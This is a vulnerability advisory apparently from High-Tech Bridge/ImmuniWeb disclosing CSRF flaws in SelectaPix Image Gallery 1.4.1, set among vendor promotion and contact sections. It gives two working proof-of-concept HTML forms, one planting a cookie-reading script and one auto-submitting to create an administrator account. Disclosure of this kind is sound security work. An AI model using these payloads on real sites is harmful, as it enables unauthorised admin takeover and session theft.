Total Tests:

Cross-site Request Forgery (CSRF) Vulnerabilities in SelectaPix Image Gallery

Advisory ID:HTB22963
Product:SelectaPix Image Gallery
Vendor:Out of the Trees
Vulnerable Versions:1.4.1 and probably prior
Tested Version:1.4.1
Advisory Publication:April 19, 2011 [without technical details]
Vendor Notification:April 19, 2011
Public Disclosure:May 3, 2011
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in SelectaPix Image Gallery which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) vulnerabilities in SelectaPix Image Gallery
1.1 The vulnerability exists due to insufficient validation of the request origin in admin/upload.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change album settings. Due to insufficient sanitation of input data in the "uploadername" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://[host]/admin/upload.php?albumID=1&parentID=0&request=single" method="post" name="main" id="main">
<input type="hidden" name="uploadername" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="OK">
</form>

1.2 The vulnerability exists due to insufficient validation of the request origin in admin/register_new.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create new accounts with administrative privileges.
Exploitation example:
<form action="http://[host]/admin/register_new.php" method="post" name="main" id="main">
<input type="hidden" name="email" value="test@test.com">
<input type="hidden" name="username" value="test">
<input type="hidden" name="passwd" value="123456">
<input type="hidden" name="passwd2" value="123456">
<input type="hidden" name="RoleID" value="4">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>

How to Detect Cross-Site Request Forgery Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22963 - https://www.immuniweb.com/advisory/HTB22963 - Cross-site Request Forgery (CSRF) Vulnerabilities in SelectaPix Image Gallery
[2] SelectaPix Image Gallery - outofthetrees.co.uk - SelectaPix is free (Open Source) XHTML Strict PHP/MySQL image gallery script by Out of the Trees web design.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential